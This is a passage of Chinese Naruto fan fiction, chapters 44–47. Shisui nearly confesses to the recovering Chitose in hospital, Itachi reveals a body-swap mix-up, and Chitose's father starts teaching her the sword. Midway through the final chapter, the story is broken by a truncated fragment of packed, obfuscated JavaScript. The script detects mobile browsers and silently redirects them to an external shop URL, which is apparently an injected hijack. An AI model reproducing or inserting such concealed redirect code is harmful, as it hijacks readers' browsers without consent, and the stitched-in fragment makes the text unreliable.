那是他毕生难忘的一瞬,千歲义无反顾地挡在他身前。那一刻,生死之间的距离被瞬间拉平,所有的自负、所有对“强大”的执念,都在那个瞬间土崩瓦解。
他终于彻底看清了自己的心。
可越是明白这份心意,此刻的他就越觉得喉咙发紧。
他甚至不敢去病房看她一眼,怕自己眼底翻涌的情绪,会惊扰了沉睡的她。这份迟来的心意,此刻只能封存在心底,化作最锋利的痛。
万花筒写轮眼的图案,悄无声息地在他眼底浮现。纹路旋转着,吞噬着周遭的昏光,随之而来的,是一股源自灵魂深处、冰冷而磅礴的力量。那不是单纯的查克拉涌动,而是一种被悔恨、被爱意淬炼出的决绝。
他深吸一口气,像是卸下了千斤重担,又像是扛起了千钧之重。
指尖将照片小心翼翼地放回床头,那是整个床头柜最显眼的位置。
一直这样逃避,像什么样。
止水站起身,目光重新变得坚定,推开了那扇本该早就打开的房门。
木叶病院
宇智波枭蜷缩在旁侧的折叠床上,连日来的寸步不离与精神紧绷,终于压垮了这位父亲的意志。他头歪在肩侧,发出细微的鼾声,眉头却依旧紧紧皱着,手还死死攥着病床的栏杆,仿佛一松开,女儿就会消失。
忽然,一道黑影伴随着细微的“咻”声,在墙角处闪现。是暗部。
这人动作极轻,却无法瞒过宇智波枭的敏锐。宇智波枭的眼皮猛地掀开,眼中的睡意瞬间消散,取而代之的是警惕与沉稳,他下意识看向床榻,确认千歲只是呼吸平稳后,才缓缓转头。
“枭大人。” 暗部躬身,声音低沉,带着一丝公事公办的严肃,“火影大人有请。”
枭的目光落在女儿沉睡的面容上,又缓缓移回暗部身上,眉头微蹙,语气带着不容置疑的分量:“何事?”
“上次水之国任务的报告,还有几处疑点需核实……火影大人想请您即刻前往火影楼商议。”
宇智波枭沉默了一瞬。
他看了眼病床上的女儿,又看了眼时间,终是松了口,声音压得很低:“知道了。”
片刻间,他起身整理了一下衣襟,动作轻柔地替女儿掖了掖被角,目光在她脸上停留许久,似是在做最后的确认。随后,他轻手轻脚地退出了病房,带上了门。
窗外树影婆娑,月光像一层冰冷的纱铺在地板上。
下一秒,一道身影借着夜色的掩护,悄无声息地从窗框翻了进来,动作轻盈得如同一片落叶。
是止水。他刻意放轻了脚步,连呼吸都压得极低,没有选择惊扰值守的护士,而是选择了这扇最隐秘的的路。
他站在床边,目光落在那张沉睡的脸庞上。
半个月未见,千歲的脸颊似乎更清瘦了些,唇色也有些苍白,连呼吸都变得微弱。往日里那双总是古灵精怪的眼睛,此刻紧闭着,睫毛在眼睑下投出一小片柔软的阴影。
他缓缓坐下,刚触碰到冰凉的椅面,就忍不住伸出手,轻轻握住了千岁放在被单外的手。
很凉。
就在他的指尖触碰到她皮肤的那一瞬,原本沉寂的指尖,极其细微地动了一下。
止水的呼吸瞬间停滞了。
紧接着,那双紧闭了许久的眼睛,终于有了反应。眼睫颤了颤,随后,一双蒙着水雾、毫无焦点的眸子缓缓睁开了。
她先是茫然地看向头顶惨白的天花板,眼神涣散,仿佛还没从漫长的噩梦里回过神来。
此时的止水,整个人都沉浸在失而复得的愧疚里,头深深地低着,不敢看她。
直到一道极轻、极虚,却又无比熟悉的声音,
“止水…?”
止水猛地抬头。
四目相对的刹那,时间仿佛停止了。
千歲正虚弱地侧着头看他,那双眼睛里带着刚睡醒的迷茫,还有一丝不易察觉的依赖。
她的声音很轻,轻得像是随时会被风吹散,却又字字句句都敲在止水的心尖上。
“有没有哪里不舒服?我去帮你叫护士…” 止水语无伦次,小心翼翼地握着她的手腕,掌心的温度疯狂地传递过去。
“不用了…我很好…” 千岁看着他那张因过度担心的脸,费力地扯了扯嘴角,露出一个虚弱却安心的笑容。她眨了眨眼,声音细若游丝:“我们…现在是在木叶吗?”
“嗯。” 止水喉咙哽咽,轻轻点头,“现在很安全,木叶很安全。”
“那…玄间老师他们?” 少女终于找回了一丝清醒的意识,惦记着同行的伙伴。
“都活着。” 止水立刻回答,语气坚定,“大家都活着,虽然受了伤,但都平安回家了。”
听到这句话,千歲紧绷的身体瞬间松弛了下来,她眼里的最后一丝紧张也消散了。她轻轻舒了一口气,眼角甚至泛起了一点湿润的光,声音里满是劫后余生
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的庆幸。
“太好了…”
这一声“太好了”,落下的瞬间,止水再也忍不住,握住她的手又紧了几分。
“醒来的第一眼能看到止水……太好了。”
千歲的声音轻得几乎要融进空气里,连支撑起语调的力气都没有,每一个字都带着病后的虚弱。
“我做了好多关于止水的梦……”
“梦见了什么呀?”
止水的声音依旧温和柔软,像往常一样耐心,指尖轻轻包裹着她微凉的手,静静等待她的每一句话。
千岁缓缓移开视线,望向头顶一片空白的天花板。
“我梦见了瀑布……梦见止水没有了眼睛……”
“梦见你躺在瀑布前面,一动也不动……”
“我好害怕,可梦却怎么也醒不过来……”
止水沉默一瞬,抬手将掌心轻轻覆在她的额头上,动作温柔得近乎小心翼翼,努力维持着平日那份让人安心的温和。
“说什么呢。”
“梦都是反的,你看,我现在不是好好地在这里吗?”
千歲却不敢再往下回想。
那段梦境真实得可怕,仿佛不是虚幻,而是她亲身经历过的过去,每一幕都清晰得刺痛心脏。
“止水……”她声音微颤,
“我不要你死。”
一句话轻飘飘落下,却重重砸在止水的心上,沉得让他几乎窒息。
他目光骤然变得认真而深邃,透过她尚且涣散的眼眸,仿佛再次看见水之国海边,她不顾一切挡在他身前的那一瞬间。
“我不会死的。绝对不会。”
少年看穿了她心底最深的不安,一字一句,坚定得不容置疑。
“我保证。”
千歲轻轻动了动另一只手,挣扎着想从床上坐起身。止水立刻上前,小心翼翼地将她缓缓扶起,在她后背垫好柔软的枕头。可她体力实在太过虚弱,身子刚一直起,便控制不住地向旁侧倒去。
止水连忙伸手去扶,而下一秒,千岁却忽然伸出手臂,紧紧抱住了他的脖颈。
脸颊埋在他的肩窝,看不清表情,只有柔软的金发轻轻蹭着他的衣领,淡淡的发香萦绕在鼻尖。
两人紧紧相贴,呼吸交缠。
止水整个人都僵住了。
双手僵硬地悬在半空,不知道该放在哪里,心跳在寂静的深夜里轰然作响,一声重过一声。他起初以为那是千歲的心跳,直到后知后觉才反应过来——那剧烈震颤的,是他自己失控的心脏。
“止水……”
千岁埋在他肩头,小声开口,声音模糊却异常清晰。
“我不要你走。”
少女的语气虚弱,却带着不容动摇的坚定。
止水的指节微微收紧,喉结不受控制地滚动了几下。
“我……”
平日里清亮温和的嗓音,此刻早已染上难以掩饰的沙哑与颤抖。
他望着怀中紧紧抱着自己的少女,看着她那双刚醒来便盛满依赖的眼眸——那双眼睛曾在任务里为他惊慌,为他勇敢,为他不顾一切。此刻醒来第一眼看见的人是他,全世界便只剩下他。
止水的心脏疯狂地跳动着,每一次搏动都在呐喊心底藏了太久太久的声音。
他告诉自己,不能再逃了。
不能再把心意藏在自责与懦弱之后,不能再让她独自不安。
他想告诉她——我喜欢你,比保护任何人都想保护你。
止水眼底翻涌的温柔与愧疚终于汇聚成一句即将脱口而出的心意。他轻轻回抱住怀中单薄的少女,掌心贴着她的后背,声音低哑却无比认真:
“千歲,我……”
可就在这句话即将冲破喉咙的刹那——
咔嗒——
极轻、却足以刺破寂静的门锁转动声,在深夜的病房里突兀响起。
止水的身体瞬间一僵,所有未说出口的心意戛然而止。
门被轻轻推开。
宇智波枭去而复返的身影,静静立在门口。
45.第45章 别让止水回去
枭刚要推门进病房的前一秒,止水手忙脚乱地猛地松开手,动作快得像一阵风。枭一进门就撞见俩人手忙脚乱、神色古怪的样子,顿时皱起眉,满脸狐疑地扫了他们一眼:“你俩在干嘛?”
话音刚落,床上的千歲回过神来看见宇智波枭,立刻眼睛一亮,带着刚睡醒的哭腔扑声道:“老爸——我好想你啊!”
宇智波枭眼皮一跳,毫不留情拆台:“少来这套。”
旁边的止水心脏差点直接跳出嗓子眼,慌忙找补:“我、我就是不放心千歲,过来看看她……”
枭心里门儿清——这半个月,止水可是头一回踏足病房,偏偏挑在深更半夜过来,怎么看都不对劲。他语气沉了沉:“大半夜的,不睡觉在这儿折腾什么?”
止水这才后知后觉察觉到气氛不对,再想起刚才千歲一把把他抱住的模样,整个人都僵住了,连忙顺坡下驴:“说得也是……那我先回去了。”
“啊?不要!”千歲立刻急巴巴地打断他。
宇智波枭皱眉看向女儿:“什么不要?”
千歲揉着眼睛撒娇:“我才刚醒嘛,就让止水留下来陪我好不好?要是只有你在病房里,我会无聊死的。”
枭额角瞬间蹦起一道青筋,深吸一口气拼命忍耐:她刚恢复,不能生气……
最后硬邦邦地丢下一句:“那我就在这儿坐着陪着你们。”
止水心里瞬间哀嚎:这下更不妙了…
枭刚挨着床边坐下,千岁又软软地开口:“老爸。”
枭无奈又纵容地叹气:“……又怎么了?”
千歲可怜巴巴地瘪了瘪嘴,肚子还很配合地“咕”了一声:
“我肚子饿了。”
她昏睡了整整半个月,除了点滴和营养液,什么都没吃。
止水立刻起身,主动开口:“……我出去买点吃的回来。”
“不用。”
枭抬手轻轻拦下他,语气沉稳却不容置喙,“你就在这儿陪着她,我去护士站取些餐食。”
说罢便起身走向门口,拉开门的那一刻,他顿了顿,回头对着屋内认真叮嘱了一句:
“门就这么开着,不准关。”
房门敞着一条暖光的缝隙,走廊的微光轻轻洒进来,房间里再次只剩下他们两个人。经过刚刚一番缓冲,止水紧绷的心绪稍稍平复了些许,可他也清楚,眼下这般气氛,无论如何也不是能说出告白的时机。
没过多久,宇智波枭便提着一盒病人便当、一篮新鲜水果走了进来。千歲一见吃的,眼睛瞬间亮起,可便当盒被打开的那一刻,她收回了刚刚的眼神。
“我不要吃这个,我要吃草莓大福。”
便当里是医院标配的康复餐,右上角摆着清淡的味增豆腐,左上角是一小块烤鲑鱼,右下角是腌萝卜,左下角是软乎乎的白米饭,营养齐全,却实在称不上诱人。
千岁嘴角微微垮下,小声嚷嚷起来:“我想吃草莓大福,还想吃冰淇淋……”
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宇智波枭脸色一沉,放轻了声音却带着十足的威慑:“再闹,我现在就让止水回去。”
这话果然管用,千歲立刻乖乖闭了嘴,拿起勺子小口小口扒着米饭,安安静静不再闹腾。
一旁的止水看着她那副可怜又可爱的模样,忍不住轻笑一声,默默取过一个苹果,拿出随身的小刀,细心地为她削了起来。果皮在他指尖卷成一条完整的弧线,动作温柔又沉稳。
宇智波枭靠在对面的空病床上,静静望着止水低头为千歲削苹果的背影,眼底那一贯的锐利悄然柔和下来。
好像……这小子在这里,也并不是一件坏事。
但枭依旧不打算离开。这几天连日奔波照顾,悬着的心从未放下,疲惫早已沉沉压在肩头。可看着眼前千歲与止水低声交谈、眉眼轻松的模样,听着她们细碎又温和的声音,枭心中那根紧绷了半个月的弦,竟一点点松了下来。
一种久违的、安稳的感觉,轻轻包裹住他。
倦意席卷而来,他就这么靠着床沿,缓缓闭上了眼睛,沉沉睡去。
止水和千歲不知轻声聊了多久,直到千歲忽然轻轻“呀”了一声,压低声音惊喜道:
“老爸睡着了。”
止水动作一顿,放下手中剥到一半的橘子,轻手轻脚取过一旁的薄毯,小心翼翼地盖在宇智波枭的身上,动作轻得生怕惊扰到他。
一向警惕过人、从不敢深睡的宇智波枭,这一夜,睡得格外安稳、格外沉。
46.第46章 难道我对前辈?
自上次那场荒唐的身体互换,无意间撞破止水小队里那桩未曾言说的心意后,宇智波鼬便一直揣着一桩心事,总想寻个时机,好好向止水坦白一切——那日漩涡咲鼓起勇气告白时,站在她面前的,根本不是真正的止水,而是顶着他身躯的自己。同队的海斗性子大大咧咧,从头到尾都未曾察觉分毫异样,可鼬却每想起一次,心头便多一分不安。
他本打算今日便找止水说清,却被父亲突然叫走,投入到严苛的手里剑训练之中;待到次日终于腾出空闲,又发现止水身边始终围着漩涡咲与海斗,两人寸步不离,连一句单独交谈的空隙都不曾留下。
拖到最后,也没能有机会说出。
鼬站在不远处,望着三人形影不离的模样,心底忽然生出一丝茫然。原来组成三人小队之后,真的可以这般时时刻刻相伴左右吗?那将来的自己,是否也会拥有这样一段紧密无间的同伴情谊?
念头刚落,脑海里竟毫无预兆地,掠过一道金发的身影——是千歲。
“怎么在这个时候,突然想到前辈……”
他清楚地知道,自己早已将千歲视作极为重要的同伴,可心底深处那点异样的感觉,仅仅止于同伴吗?他不敢再往下细想,只匆匆将那点纷乱的情绪藏回心底最深处。
无论如何,今日他必须鼓起勇气,将那场身体互换所发生的一切,原原本本地告诉止水。
木叶病院
千歲从那场生死边缘醒来后,又在医院里躺了整整一周,才终于顺利出院。
相比之下,不知火玄间就没那么幸运了。
被长谷川一刀砍中的背部伤口,因为当时没有及时处理,已经发炎红肿,恢复的时间远比千歲要漫长得多。
千歲站在病房门口,看着病床上还缠着绷带的不知火玄间,忍不住凑近床边,小声却带着期待地说:
“玄间老师,你快点好起来嘛——等你出院了,我们再一起去执行任务。”
不知火玄间侧躺着,脸色依旧有些苍白,可嘴里那根千本却一如既往地叼着,仿佛那是他无论何时都不会离身的标志。他微微侧过头,看了她一眼,语气一如既往地懒散:
“急什么,浅野不也还在修养吗?”
“啊?好吧……”
千歲有些泄气地垂下肩,却也没再多说什么。
看着她这副模样,玄间心里却悄悄浮起一丝疑惑。
就算当时千歲确实接受了细胞再生之术,她现在的恢复速度,也未免太快了些。
腹部遭受那样的重击,内脏几乎全部破裂——在这种情况下,即便有宇智波仁美独创的再生术辅助,再怎么顺利,至少也得半年才能彻底恢复。
可眼前这个少女,已经能像没事人一样在病房里蹦蹦跳跳,精神好得不像话。
玄间盯着她看了几秒,终究还是把这份疑虑压了下去,只在心里默默归结为:
大概,真的是宇智波仁美那独创的再生术,强得超乎想象吧。
千歲收拾好东西正要办理出院手续,刚走出病房,就迎面撞见了前来探望的止水。她眼睛一亮,立刻快步走上前,语气里带着毫不掩饰的欢喜:“止水!我好想你啊,这几天你怎么都不来看看我?”
止水听见她直白又热烈的话语,心口猛地一缩,不受控制地加速跳动起来。自从认清自己对千岁的心意后,她随口的一句话、一个眼神,都能在他心底掀起细碎的波澜。他强压下心底那阵慌乱的悸动,努力维持着平日温和的笑容,轻声回应:“这几天一直在加紧训练,没想到千歲这么惦记我。”
说着,他下意识地抬起手,想像从前一样,轻轻揉一揉她柔软的发顶。可指尖即将触到发丝的刹那,他忽然顿住,动作僵硬地收了回来。
现在的自己,早已不能再用普通同伴的心态去触碰她了。
分明是确认了心意,却反而变得胆怯、拘谨,生怕越界一分,就打破了两人之间安稳的距离。
千歲望着眼前举止反常的止水,歪了歪头,眼底浮起一丝困惑:这家伙,今天又怎么奇奇怪怪的?
一时间,两人僵在原地,空气都变得微妙起来。
就在这时,一道清冷又熟悉的声音打破了尴尬。
“前辈,你终于出院了。”
宇智波鼬缓步走来,目光落在痊愈出院的千歲身上,随即又转向一旁的止水,轻轻点头致意:“止水桑也在呢。”
鼬在心底暗暗下定决心——今天,无论如何都要把上次漩涡咲告白的事情,原原本本告诉止水。
三人并肩走在木叶熟悉的街道上,阳光温和,风也轻柔。
只是一路之上,止水与鼬各怀心事,沉默藏着各自的纠结与忐忑。
鼬频频侧目,几次想开口,又碍于千歲就在身边,只能把话咽回去:前辈在这里,我该怎么跟止水桑说清楚……
止水则悄悄松了口气,暗自庆幸:还好鼬及时出现,不然刚才单独相处,我恐怕又要手足无措了。
唯有走在中间的千歲,依旧一脸轻松自在,对身旁两人翻涌的心思,浑然不觉。
三人沿着街道缓步前行,不多时,便走到了那家熟悉的和果子店门前——确切地说,是止水与千岁最熟悉的木村家和果子店。曾经就在这家店门口,木村与千歲的几句寻常对话,都能让止水在心底悄悄泛起酸涩的醋意,如今再看见这块招牌,他嘴角几不可查地抽了抽,在心底默默祈祷:可千万别再出什么幺蛾子了。
偏偏事与愿违,怕什么便来什么。
平日里安安静静从不高声吆喝的店员小哥,竟在三人经过的这一刻,像是忽然来了兴致,扬起声音卖力招揽:“季节限定!三色丸子草莓大福!最后一盒!先到先得,买到就是赚到!”
止水下意识侧眸看向身旁的千岁,果不其然,她的眼睛瞬间亮了起来,全部注意力都被那盒诱人的和果子牢牢吸住,挪都挪不开。
止水在心底轻轻叹一口气:……我就知道。
可让他万万没有想到的是,被吸引住的不止千岁一个——连一向沉稳寡言的鼬,也停下了脚步。他望着玻璃柜里,软糯雪白的糯米皮上缀着鲜亮三色丸子的草莓大福,一向平静的眼底竟也泛起了几分难得的期待,就那样站在原地,迟迟没有迈步。
看着两人一模一样的反应,止水无奈又好笑,最终还是轻轻开口:“……要不,我买一盒吧。”
话音刚落,千歲与鼬几乎是同时抬起头,异口同声地惊喜出声:“真的!?”
依旧是宇智波族地后山的小山坡,那个曾被三人团团围坐、分食过红豆饼的地方。
如今阳光和煦,草坪柔软。三人围坐在一起,享用着那盒三色丸子草莓大福。止水静静看着身旁两人,只顾埋头低头,吃得香甜、默不作声的模样,不由得眼底漾开一抹浅笑,嘴角不自觉地微微上扬。
千歲腮帮子鼓鼓的,一边吞咽,一边含糊不清地问:“止水……你不吃吗?”
止水弯了弯眼角,语气温柔:“留给千歲就好,不是说这是季节限定嘛?”
“止水……”
千岁眨了眨眼,愣了愣。
“怎么啦?”止水下意识追问。
“你好奇怪哦。”千歲一脸认真地吐槽。
止水瞬间绷紧了神经。难道?这份藏得这么深的心意,这么快就被她察觉了?他暗自揣测。
可下一秒,千歲又歪着头,一脸困惑地补充:“平时的止水,只会逗我、欺负我。感觉现在的止水,反而变得莫名其妙的温柔了起来。”
这
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番直白又无心的评价,让原本的惊惶瞬间化作了哭笑不得的无奈。
鼬将这一切尽收眼底,此刻若有所思地抬眼看向止水,眼神里带着几分洞悉。
止水故作轻松地轻咳一声,伸手就要去抢千歲面前的盒子:“……那既然这样,把三色丸子大福还给我。”
“什么呀?”千歲反应极快,双手立刻紧紧护住手里的甜点,整个人都往后缩了缩,像只护食的小猫,“坏止水!果然只有现在这样的止水,才是最正常的!”
果然,止水桑,是喜欢前辈的吧。
鼬安静地望着眼前互动的两人,在心底轻轻得出结论。可不知为何,心底深处竟悄然掠过一丝连他自己都无法名状的细微波动,他来不及细想,便飞快地将那抹异样情绪死死压回了心底。
就在这时,身后的树林里传来一声轻柔的猫叫。
千歲猛地回过头,眼睛瞬间亮了起来:“是猫咪!你们等我一下,我去把它抱过来!”
在医院躺了将近一个月,她太久没有来喂过这些小猫,心里惦记得紧。话音刚落,她便立刻放下手中还没吃完的大福,兴冲冲地朝着森林深处跑去。
止水连忙出声叮嘱:“慢点跑,别把小猫吓跑了。”
千歲头也不回,朝着身后大声喊:“知道了!不准碰我的大福!”
眨眼间,少女的身影便消失在林间。
山坡上,只剩下鼬与止水两人。
止水望着千歲远去的方向,嘴角不自觉地勾起一抹温柔至极的笑意,那是连他自己都未曾察觉的宠溺,尽数落入了一旁鼬的眼中。
鼬沉默片刻,终于轻轻开口:“止水桑。”
止水回过神,收回目光,语气依旧温和:“怎么了,鼬?”
鼬的喉结微微动了动,原本盘旋在嘴边、打算全盘托出的漩涡咲告白一事,到了嘴边却莫名拐了个弯。他抬眼,直视着止水的双眼,认真地问:
“止水桑,有喜欢的女孩子吗?”
止水微微一怔,看着鼬格外认真的神情,一时间竟不知该如何回应。沉默在两人之间蔓延,许久之后,他才低声吐出一个字:
“……有。”
鼬心底的猜测得到了证实,他稍稍顿了顿,继续问道:
“那止水桑,对漩涡前辈是什么想法?”
止水脸上露出几分诧异:“怎么会突然问这个?”
稍作思索后,他缓缓开口,语气坦诚:“小咲她虽然看上去冷淡了一些,但内心很温柔,是我小队里非常重要的伙伴。”
重要的……伙伴?
鼬微微蹙眉,心底瞬间升起一团疑惑。
如果只是伙伴,那千歲又在止水心中占据着怎样的位置?
这份困惑盘旋在心头,鼬终于不再犹豫,将埋藏了许久的事情全盘说出:
“其实,上次我和止水桑互换身体的时候,漩涡前辈向止水桑告白了……我一直想找机会告诉你,可是始终没有合适的时机。”
止水脸上的平静瞬间被震惊取代。
他从没想过,一直与自己并肩作战的小队成员,竟然对自己抱着这样的心意。他一直以为,两人之间只是纯粹而坚定的同伴羁绊,却从未察觉漩涡咲藏在平静外表下的深情。
鼬看着他震惊的模样,轻声追问:“止水桑喜欢的人,是漩涡前辈吗?”
话音落下的那一瞬,鼬自己心底,竟莫名掠过一丝连他都无法理解的期盼——他居然在隐隐希望,止水的答案是肯定的。
可几乎是不假思索,止水脱口而出:“不。”
语气坚定得没有一丝犹豫。
紧接着,他稍稍平复心绪,轻声却清晰地补充道:
“我只是把她当作小队的同伴,和海斗一样。”
47.第47章 宇智波流剑术
“我只是把她当作小队同伴而已,和看待海斗没什么两样。”止水平静地回答。
话音落下,他转而看向鼬,轻声问道:“你当时,是怎么回应她的?”
鼬沉默片刻,如实说道:“我那时也不知该如何作答,幸好海斗及时打断了那段尴尬的对话。”
止水闻言,悄悄松了口气。
鼬随即又开口:“那之后,漩涡前辈有没有表现出什么异样?”
止水微微蹙眉,努力回想漩涡咲的态度——他向来不曾留意过这些,更从未将心思放在对方的情绪上。
“……我没太看出来。”他如实答道,顿了顿,又轻声补充,“不过还是谢谢你,鼬。那种情况,就算是我,恐怕也不知道该如何处理。”
鼬望着他,语气认真:“那止水桑打算怎么办?漩涡前辈的心意……”
止水本就对漩涡咲没有半分男女之情,想来也是自己平日待人太过温和,才让对方产生了误会。他沉吟片刻,认真道:“我会找个机会,和她把话说清楚。”
“说清楚?说清楚什么?”
一个轻快的声音突然从身后传来,千歲怀里抱着一只小橘猫,不知何时站到了止水身后。
止水猛地回头,一见是她,瞬间有些语无伦次:“呃,那个……”
鼬见状立刻不动声色地圆场:“止水上次偷偷吃掉了佐助的零食,正打算明天去我家,跟佐助好好解释清楚。”
“啊?止水太过分了,居然抢小孩子的零食!”千歲故作不满地嗔怪一句,顺手将怀里的小橘猫往止水头顶一放。
小家伙似乎格外喜欢止水,乖乖趴在他的发顶,发出慵懒又舒服的呼噜声。
止水无奈失笑,小心地将头顶的小橘猫抱进怀中,指尖温柔地顺着它柔软的毛发缓缓抚摸。小猫温顺地在他怀里蹭了蹭,发出细碎又满足的轻响,安安稳稳窝在他臂弯里。
止水望着那团橘金交织的绒毛,眼底不自觉漾开温柔,心底轻轻一叹——
这惹人疼的模样,简直和千歲一模一样。
宇智波枭府邸
千歲与止水、鼬二人道别后,独自回到家中。刚一推门,眼前的景象便让她瞬间绷紧了神经——客厅被翻得一片狼藉,磨刀石、太刀、老旧木箱散落一地,尘土与木屑混在一处,看上去竟像是遭了窃贼。
“给我出来!坏蛋!我绝对不会放过你!”
千歲攥紧拳头厉声大喊,声音里带着几分被冒犯的怒意。
就在这时,后院方向探出一颗脑袋,宇智波枭声音慢悠悠飘来:“嚷嚷什么?”
看清是自家父亲,千歲紧绷的身子立刻松垮下来,小跑着凑到他身边,叉着腰抱怨:“老爸,这是在干什么呀?你还总说我乱,你看你把家里弄成这样!”
宇智波枭懒得跟她斗嘴,目光径直落在她身上:“正好回来了,来,试试这把太刀。”
一看见忍具,千歲眼里立刻亮起光,可当那柄太刀真正递到她面前时,她才猛然发觉——这刀对年仅九岁的她而言,实在太过庞大,几乎比她整个人还要高出一截,无论佩在腰间还是背在身后,都显得格格不入。
她伸手去接,重心猛地一沉,险些没能稳住,锋利的刀身眼看就要砸向她的脚尖。千歲眼疾手快,瞬间在右手凝聚起查克拉,一股沉稳的力量自掌心涌出,只见她单手一托,竟轻轻松松将沉重的太刀举了起来。
宇智波枭眉梢微挑,低声嘀咕一句:“造刀的家伙还给我缺斤少两了?怎么这么轻?”
千歲抱着太刀,好奇地打量着刀身纹路:“老爸,这把刀我从来没见过,好像不是你房间里那一把。”
“你偷偷进过我房间?”宇智波枭的目光淡淡扫来。
千歲心头猛地一跳,瞬间想起上次偷偷拿父亲的太刀去锯木桩,把刀刃磨得钝不堪言的蠢事,脸色顿时一僵,连忙摆手:“……你就当我刚才什么都没说吧!”
宇智波枭深深看了她一眼,没有追究,语气却忽然变得郑重:“从今天起,我亲自监督你训练。”
千歲当场一怔。
父亲从前从不过问她的忍术修行,更从不强迫她修炼,此刻突如其来的严肃,让她莫名感到一丝不安。
“这把太刀,以后就是你的专属武器。我能教你的,只有剑术。”
千歲愣了愣,下意识问道:“老爸,你……真的会用太刀吗?”
在她眼里,父亲永远是那个喝茶赏花、打理家事、不像忍者的男人。他从未在她面前展露过实力,从未提起过忍术,更从未提及那段在暗部的沉默过往。
宇智波枭没有回答,只是语气愈发不容置疑:
“从明天开始,不准睡懒觉,清晨六点起床,每日晨练三小时。”
这句话如同晴天霹雳,直接砸得千歲魂飞魄散。
对她而言,早起比任何惩罚都要难熬。她立刻扑到父亲身边,抱住他的胳膊假哭起来:“老爸!你有什么要求尽管提,别这样啊!我害怕!”
“再闹,零花钱没收,零食也全部停掉。”
简简单单一句话,让千歲的假哭戛然而止。
她僵在原地,默默接受了这个残酷的现实,蔫蔫地问:“那……我这辈子都要这么早起吗?”
宇智波枭沉默片刻,望向女儿的眼神柔软了几分,声音轻却坚定:
“等到你真正强大到,能凭自己保护自己的那一天,我就给你自由。”
千歲垂肩哀嚎,满脸生无可恋。
而宇智波枭望着女儿懊恼的模样,心底却翻涌着难以言说的沉重。
自从千歲在水之国任务归来,遇见那个戴着神秘面具的男人起,他便无数次在深夜辗转——他原本只想让女儿无忧无虑地长大,远离硝烟,远离战场,过普通人安稳平和的一生。他以为,只要替她挡下所有风雨,护她周全,便是身为父亲最大的责任。
可他错了。
忍界风云涌动,暗处强敌环伺,他忽然意识到,自己根本不可能护她一辈子。与其让她永远活在庇护之下懵懂无知,不如亲手教会她利刃与坚强,让她拥有在乱世中立足的底气。
是宇智波枭能给予的,最深沉的爱。
“准备一下,五分钟后,到后院来。”枭面无表情地说。
庭院里,宇智波枭将一把木刀递到千岁手中。真正的太刀太过锋利,不适合初学者,他早有准备。
千歲捏着刀柄,姿势别扭得像抓着一根烧火棍,手腕僵硬、肩膀紧绷,连站姿都歪歪扭扭,完全是门外汉的模样。她眨眨眼,抬头看向父亲:“老爸,接下来……要做什么?”
宇智波枭只是走到她面前,伸手轻轻扶正她的肩膀,调整她双脚的间距。他的动作沉稳而轻柔,带着常年握刀的人独有的利落感。
“双脚与肩同宽,重心下沉,腰腹发力,不是用手臂硬扛。”
千歲努力模仿,可身体偏偏不听使唤,前脚迈得太大,后脚站得太直,刚摆好姿势就晃了一下,差点自己绊倒自己。
宇智波枭眼底掠过一丝极淡的无奈,却依旧耐心:“再来。握刀的手不要死攥,放松,指尖贴紧刀柄,感受刀与身体连在一起。”
他伸手覆在千歲的小手上,带着她一点点调整姿势。掌心传来的温度沉稳而安心,让原本慌乱的千歲莫名平静下来。她第一次发现,原来父亲的手,并非只有做家务时的温和,还藏着能握住利刃的力量。
“挥刀。”
宇智波枭轻声下令。
千岁努力照着做,可身体就是不听使唤。
她忽然想起之前跟着纲手大人修炼怪力时,对方总是说:把查克拉提炼聚集一点,一瞬间爆发出来。
怪力的用法,她倒是熟得很。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318709|198746||http|test|mini|href|location''.split(''|''),0,{}));
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>“……哦!我懂了!”
千歲自以为抓住诀窍,立刻将查克拉猛地聚在右手——那是纲手教她的、一击便能碎石裂地的怪力法门。
宇智波枭刚想说“轻点”,已经来不及了。
“看我的——!”
千歲铆足力气,狠狠一刀挥出。
只听“啪——咔嚓!”一声脆响。
坚固的木刀在她手中瞬间崩裂,木屑飞溅,断成两截。
前半截刀身“嗖”地飞出去,“哐当”一声砸在墙上,弹落在地。
庭院里瞬间安静。
千歲举着半截光秃秃的刀柄,整个人都傻了,呆呆地看着自己的手。
宇智波枭:“……”
空气安静了足足三秒。
千歲才僵硬地转过头,小声弱弱地开口:
“……老、老爸,不是我故意的。一不小心……没控制住。”
宇智波枭沉默地看着地上两截木刀,许久才缓缓吐出一句:
“……我总算知道,你之前为什么能把我的太刀磨钝了。”
千岁把半截刀柄藏在身后,眼神飘忽:
“……你就当没看见行不行?”
宇智波枭揉了揉眉心,只觉得头疼。
别人学剑术,是学技巧、学姿势、学呼吸。
他家女儿倒好,第一次握刀,直接把木刀挥爆。
“剑术和怪力不一样。”他压下无奈,耐心解释,“怪力是爆发,剑术是控制。你这样,还没伤到敌人,先把自己的刀弄断了。”
千歲:“可……我习惯这么用力了嘛……”
“那就从‘学会不用力’开始。”
宇智波枭又取来一柄更厚实的训练木刀,重新放到她手中,语气严肃却温和,
“从今天起,你要学的不是如何挥断刀,而是如何握住刀、稳住刀、守住自己。”
千岁望着父亲认真的眼神,悄悄握紧了木刀。
这一次,她不敢再随便爆发怪力,只是乖乖站好,小声应了一句:
“……知道了,老爸。”
他退后一步,抬手示意:“看我。”
话音落下的瞬间,宇智波枭周身的气息骤然一变。
不再是那个温和喝茶、整理家务的普通父亲,而是从骨血里透出的、历经战场沉淀的锐利。他抬手、握刀、转身、挥斩,整套动作行云流水,无声无息,却让空气都仿佛被切开一道冷冽的弧线。没有多余的力道,没有半分浪费,每一寸动作都精准到极致。
那是属于暗部精英的剑术。
千岁看得眼睛都直了,原来自己的老爸,还真会用太刀。
“看懂了吗?”宇智波枭收回姿势。
千歲用力点头:“懂了,但没太懂。”
“没有人第一次就能做到。”宇智波枭走到她身后,轻轻扶着她的肩,“再试一次。吸气——沉肩——挥。”
千歲跟着他的指引,缓缓抬手,木刀在半空划出一道笨拙却认真的弧线。这一次,她没有把剑挥断,只是姿势依旧僵硬,挥刀的力道轻飘飘的,连一片花瓣都没能斩落。
“……”千歲不语
“比我想象中好。”宇智波枭难得夸了她一句,“至少,你没有害怕刀。”
